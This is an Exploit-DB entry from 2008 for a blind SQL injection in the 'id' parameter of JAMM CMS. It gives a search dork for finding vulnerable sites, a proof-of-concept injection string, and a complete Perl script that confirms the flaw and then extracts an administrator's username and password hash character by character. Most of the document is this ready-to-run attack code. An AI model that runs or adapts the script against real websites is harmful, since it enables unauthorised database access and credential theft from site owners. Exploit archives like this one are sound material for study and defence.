Exploit-DB #5789
Description: JAMM CMS - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-06-11
Author: anonymous

Exploit:
#!/usr/bin/perl
######################
#
#JAMM CMS (id) Blind SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: "powered by JAMM"
#
##
###
##
#
#http://www.site.de/cms/?id=blah
#Ok when we give $id an unexpected value like this we get an SQL Error.
#Unfortunately the script is so rude that it doesn't want to show us any data when we UNION SELECT.
#But when we give $id an existing value and append AND 1=0 the site changes.
#So Blind SQL Injection is possible.
#For mySQL Version>=5 we can use subquerys to retrive data,
#otherwise we have to use BENCHMARK().
#
#
#SQL Injection:
#http://[target]/[path]/index.php?id=[SQL]
#
#PoC for mySQL Version = 5:
#index.php?id=10/**/and/**/substring((select/**/concat(login,0x3a,password)/**/from/**/jamm_cms_owen_website_user/**/limit/**/0,1),1,1)/**/like/**/0xbla/*
#
#If this condition returns true it would be the same as if we inject AND 1=1
#so the site gives normal output.
#
#Possible Perl Exploit (will not work always because of different tablenames etc):
#THIS IS JUST AN EXAPLE!!!

use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server = $ARGV[0];
$dir = $ARGV[1];


print"\n";
if (!$dir) { die "Read Usage!\n"; }


$filename ="index.php";

my $vulnCheck = "http://".$server.$dir.$filename;
;

my @Daten = ("61","62","63","64","65","66","67","68","69","6A","6B","6C","6D","6E","6F","70","71","72","73","74","75","76","77","78","79","7A","3A","5F","31","32","33","34","35","36","37","38","39","30");

print"[x]Connecting:";
my $Attack= $userAgent->get($vulnCheck."?id='");
if($Attack->is_success)
{
    print " Connected \n";
    print "[x]Vulnerable Check: ";
    if($Attack->content =~ m/You have an error in your SQL syntax/i)
        { print "Vulnerable \n"; }
    else
        { print "Not Vulnerable"; exit;}
}

else
{
    print " Connection Failed";
    exit;
}

my $hex="";
my $length;

print "[x]Bruteforcing Length \n";

my $lengthCounter = 1;
while(1)
{
    ##table name will be different sometimes
    my $url = "".$vulnCheck."?id=10%20%20and%20LENGTH((select%20concat(login,0x3a,password)%20from%20jamm_cms_owen_website_user%20limit%200,1))=".$lengthCounter."";
    my $Attack= $userAgent->get($url);
    my $content = $Attack->content;
    if($content =~ m/<META NAME='Title' CONTENT=''>/i)
    {       
        $lengthCounter++;       
    }
    else
    {
        if($content =~ m/You have an error in your SQL syntax/i)
        {
            print "Something wrong. mySQL Version? "; exit;
        }
       
        else
        {
            $length=$lengthCounter;       
            last;
        }
    }
}


print "[x]Injecting Black Magic \n";

for($b=1;$b<=$length;$b++)
{
    for(my $u=0;$u<28;$u++)
    {       
        ##table name will be different sometimes
        my $url = "".$vulnCheck."?id=10%20%20and%20substring((select%20concat(login,0x3a,password)%20from%20jamm_cms_owen_website_user%20limit%200,1),".$b.",1)%20like%200x".$Daten[$u]."";

        my $Attack= $userAgent->get($url);

        my $content = $Attack->content;
       
        ##This will also change sometimes. Take content of AND 1=0
        if($content =~ m/<META NAME='Title' CONTENT=''>/i)  
        {           
           
        }

        else
        {
            print "[x]    Found Char ".$Daten[$u]."\n";           
            $hex=$hex.$Daten[$u];
            last;           
        }
    }
}

print "[x]Converting \n";
my $a_str = hex_to_ascii($hex);

@login = split(/\:/, $a_str);

print "[x]Success! \n";
print "     Username: $login[0]\n";
print "     [CREDENTIAL_REDACTED][1]";
   
sub hex_to_ascii ($)
{       
        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
        return $str;
}



sub usage()
{
    print q
    {
    ######################################################
             JAMM CMS Remote Blind SQL Injection Exploit   
                         -Written by h0yt3r-            
    Usage: JAMM_CMS.pl [Server] [Path]
    Sample:
    perl JAMM.pl.pl www.site.com /cms/
    ######################################################
    };

}

# milw0rm.com [2008-06-11]